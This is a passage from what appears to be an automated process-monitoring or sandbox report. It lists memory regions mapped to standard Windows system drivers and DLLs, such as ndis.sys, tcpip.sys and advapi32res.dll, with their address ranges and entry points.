"c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5974 start_va = 0x11d0000 end_va = 0x1267fff monitored = 0 entry_point = 0x11e6b40 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5975 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 5976 start_va = 0x11d0000 end_va = 0x1267fff monitored = 0 entry_point = 0x11e6b40 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 5977 start_va = 0xe00000 end_va = 0xe49fff monitored = 0 entry_point = 0xe3c380 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 5978 start_va = 0x11d0000 end_va = 0x11d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 5979 start_va = 0xe00000 end_va = 0xe49fff monitored = 0 entry_point = 0xe3c380 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 5980 start_va = 0x11d0000 end_va = 0x11d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 5981 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5982 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5983 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5984 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5985 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5986 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5987 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5988 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5989 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5990 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5991 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5992 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5993 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5994 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5995 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5996 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5997 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 5998 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 5999 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6000 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6001 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6002 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6003 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6004 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6005 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6006 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6007 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6008 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6009 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6010 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6011 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6012 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6013 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6014 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6015 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6016 start_va = 0x11d0000 end_va = 0x133efff monitored = 0 entry_point = 0x1313010 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6017 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6018 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6019 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6020 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6021 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6022 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6023 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6024 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6025 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6026 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6027 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6028 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6029 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6030 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6031 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6032 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6033 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6034 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6035 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6036 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6037 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6038 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6039 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6040 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6041 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6042 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6043 start_va = 0xe00000 end_va = 0xe02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6044 start_va = 0xe10000 end_va = 0xe20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6045 start_va = 0xe00000 end_va = 0xe0dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "w32time.dll.mui" filename = "\\Windows\\System32\\en-US\\w32time.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\w32time.dll.mui") Region: id = 6046 start_va = 0x11d0000 end_va = 0x124bfff monitored = 0 entry_point = 0x11d1680 region_type = mapped_file name = "w32time.dll" filename = "\\Windows\\System32\\w32time.dll" (normalized: "c:\\windows\\system32\\w32time.dll") Region: id = 6047 start_va = 0xe00000 end_va = 0xe0dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "w32time.dll.mui" filename = "\\Windows\\System32\\en-US\\w32time.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\w32time.dll.mui") Region: id = 6048 start_va = 0x11d0000 end_va = 0x124bfff monitored = 0 entry_point = 0x11d1680 region_type = mapped_file name = "w32time.dll" filename = "\\Windows\\System32\\w32time.dll" (normalized: "c:\\windows\\system32\\w32time.dll") Region: id = 6049 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 6050 start_va = 0x11d0000 end_va = 0x1262fff monitored = 0 entry_point = 0x1240010 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 6051 start_va = 0xe00000 end_va = 0xe12fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 6052 start_va = 0x11d0000 end_va = 0x1262fff monitored = 0 entry_point = 0x1240010 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 6053 start_va = 0xe00000 end_va = 0xe29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 6054 start_va = 0x2610000 end_va = 0x28fbfff monitored = 0 entry_point = 0x286d010 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 6055 start_va = 0xe00000 end_va = 0xe29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 6056 start_va = 0x2610000 end_va = 0x28fbfff monitored = 0 entry_point = 0x286d010 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 6057 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wevtsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\wevtsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wevtsvc.dll.mui") Region: id = 6058 start_va = 0x2610000 end_va = 0x27dffff monitored = 0 entry_point = 0x266cc30 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 6059 start_va = 0xe00000 end_va = 0xe03fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wevtsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\wevtsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wevtsvc.dll.mui") Region: id = 6060 start_va = 0x2610000 end_va = 0x27dffff monitored = 0 entry_point = 0x266cc30 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 6061 start_va = 0xe00000 end_va = 0xe07fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 6062 start_va = 0x2610000 end_va = 0x27f5fff monitored = 0 entry_point = 0x2766d00 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 6063 start_va = 0xe00000 end_va = 0xe07fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 6064 start_va = 0x2610000 end_va = 0x27f5fff monitored = 0 entry_point = 0x2766d00 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 6065 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 6066 start_va = 0x11d0000 end_va = 0x1229fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 6067 start_va = 0xe00000 end_va = 0xe10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 6068 start_va = 0x11d0000 end_va = 0x1229fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 6069 start_va = 0xe00000 end_va = 0xe1afff monitored = 0 entry_point = 0xe04d80 region_type = mapped_file name = "vid.dll" filename = "\\Windows\\System32\\vid.dll" (normalized: "c:\\windows\\system32\\vid.dll") Region: id = 6070 start_va = 0xe20000 end_va = 0xe3bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vid.dll.mui" filename = "\\Windows\\System32\\en-US\\vid.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vid.dll.mui") Region: id = 6071 start_va = 0xe00000 end_va = 0xe1afff monitored = 0 entry_point = 0xe04d80 region_type = mapped_file name = "vid.dll" filename = "\\Windows\\System32\\vid.dll" (normalized: "c:\\windows\\system32\\vid.dll") Region: id = 6072 start_va = 0xe20000 end_va = 0xe3bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vid.dll.mui" filename = "\\Windows\\System32\\en-US\\vid.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vid.dll.mui") Region: id = 6073 start_va = 0xe00000 end_va = 0xe1afff monitored = 0 entry_point = 0xe04d80 region_type = mapped_file name = "vid.dll" filename = "\\Windows\\System32\\vid.dll" (normalized: "c:\\windows\\system32\\vid.dll") Region: id = 6074 start_va = 0xe20000 end_va = 0xe3bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vid.dll.mui" filename = "\\Windows\\System32\\en-US\\vid.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vid.dll.mui") Region: id = 6075 start_va = 0xe00000 end_va = 0xe01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 6076 start_va = 0x11d0000 end_va = 0x12adfff monitored = 0 entry_point = 0x1262b10 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 6077 start_va = 0xe00000 end_va = 0xe01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 6078 start_va = 0x11d0000 end_va = 0x12adfff monitored = 0 entry_point = 0x1262b10 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 6079 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0xe11430 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 6080 start_va = 0xe20000 end_va = 0xe22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 6081 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0xe11430 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 6082 start_va = 0xe20000 end_va = 0xe22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 6083 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0xe11430 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 6084 start_va = 0xe20000 end_va = 0xe22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 6085 start_va = 0xe00000 end_va = 0xe16fff monitored = 0 entry_point = 0xe11430 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 6086 start_va = 0xe20000 end_va = 0xe22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" 